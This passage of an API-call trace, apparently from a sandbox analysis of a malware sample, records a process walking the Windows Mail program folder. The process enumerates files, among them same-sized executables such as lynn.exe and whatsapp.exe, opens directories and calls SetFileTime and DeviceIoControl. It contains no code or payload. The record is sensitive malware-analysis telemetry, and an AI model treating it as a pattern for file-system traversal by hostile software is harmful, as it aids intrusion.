files\\windows mail"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0ef36f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ef36f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0080.219] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail" (normalized: "c:\\program files\\windows mail"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.219] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0080.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.219] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0080.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.220] NtClose (Handle=0x124) returned 0x0 [0080.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0080.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0080.220] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0080.221] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0ef36f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ef36f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.221] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.221] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fbe0560, ftCreationTime.dwHighDateTime=0x1d5a937, ftLastAccessTime.dwLowDateTime=0xa55d5930, ftLastAccessTime.dwHighDateTime=0x1d539e5, ftLastWriteTime.dwLowDateTime=0xa55d5930, ftLastWriteTime.dwHighDateTime=0x1d539e5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="lynn.exe", cAlternateFileName="")) returned 1 [0080.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.222] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0080.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.222] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc917413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc917413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x95a52df0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0080.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.223] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa70b1ea1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa70b1ea1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0080.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.224] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de46570, ftCreationTime.dwHighDateTime=0x1d5c386, ftLastAccessTime.dwLowDateTime=0x20cd6e60, ftLastAccessTime.dwHighDateTime=0x1d5b5c0, ftLastWriteTime.dwLowDateTime=0x20cd6e60, ftLastWriteTime.dwHighDateTime=0x1d5b5c0, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="operamail.exe", cAlternateFileName="")) returned 1 [0080.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.225] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1f425d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d1f425d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d21a3bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0080.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.226] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa72e7a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfa72e7a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0080.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.227] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfddedd5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfddedd5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0080.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.227] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9da906, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf9da906, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfa86dfb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0080.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.228] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc7d370, ftCreationTime.dwHighDateTime=0x1d5744a, ftLastAccessTime.dwLowDateTime=0x6d2217c0, ftLastAccessTime.dwHighDateTime=0x1d5b511, ftLastWriteTime.dwLowDateTime=0x6d2217c0, ftLastWriteTime.dwHighDateTime=0x1d5b511, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="whatsapp.exe", cAlternateFileName="")) returned 1 [0080.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.229] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0080.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.230] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0080.230] GetLastError () returned 0x12 [0080.230] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0080.230] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.230] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0ef36f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ef36f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.230] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.230] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US" (normalized: "c:\\program files\\windows mail\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.231] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US" (normalized: "c:\\program files\\windows mail\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.231] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.231] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.231] NtClose (Handle=0x124) returned 0x0 [0080.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0080.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0080.232] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0080.232] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.232] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0080.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4290 [0080.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd8a8 [0080.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.233] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0080.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f42b0 [0080.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd930 [0080.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.234] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0080.234] GetLastError () returned 0x12 [0080.234] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0080.235] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.235] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.235] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0080.235] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0080.235] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", 